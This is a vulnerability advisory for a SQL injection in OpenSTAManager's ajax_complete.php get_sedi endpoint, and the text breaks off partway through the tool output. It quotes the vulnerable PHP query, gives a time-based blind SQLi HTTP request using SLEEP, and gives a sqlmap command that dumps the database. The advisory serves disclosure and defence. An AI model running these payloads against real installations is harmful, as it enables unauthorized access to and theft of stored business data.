OpenSTAManager is an open source management software for technical assistance and invoicing. In version 2.9.8 and prior, a SQL Injection vulnerability exists in the ajax_complete.php endpoint when handling the get_sedi operation. An authenticated attacker can inject malicious SQL code through the idanagrafica parameter, leading to unauthorized database access. At time of publication, no known patch exists.

Affected: Packagist: devcode-it/openstamanager

## Summary A SQL Injection vulnerability exists in the `ajax_complete.php` endpoint when handling the `get_sedi` operation. An authenticated attacker can inject malicious SQL code through the `idanagrafica` parameter, leading to unauthorized database access.

## Proof of Concept

### Vulnerable Code **File:** `modules/anagrafiche/ajax/complete.php:28`

```php case 'get_sedi': $idanagrafica = get('idanagrafica'); $q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione FROM an_sedi WHERE idanagrafica='".$idanagrafica."' ..."; $rs = $dbo->fetchArray($q); ```

### Data Flow 1. **Source:** `$_GET['idanagrafica']` → `get('idanagrafica')` 2. **Vulnerable:** User input concatenated directly into SQL query with single quotes 3. **Sink:** `$dbo->fetchArray($q)` executes the malicious query

### Exploit

**Manual PoC (Time-based Blind SQLi):** ```http GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1 Host: localhost:8081 Cookie: PHPSESSID=<valid-session> ``` <img width="1304" height="580" alt="image" src="https://github.com/user-attachments/assets/4ffcdacf-d56c-4a44-ad95-d6cecd0f05c8" />

**SQLMap Exploitation:** ```bash sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \ --cookie="PHPSESSID=<session>" \ --dbms=MySQL \ --technique=T \ --level=3 \ --dump ```

**SQLMap Output:** ``` [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AN…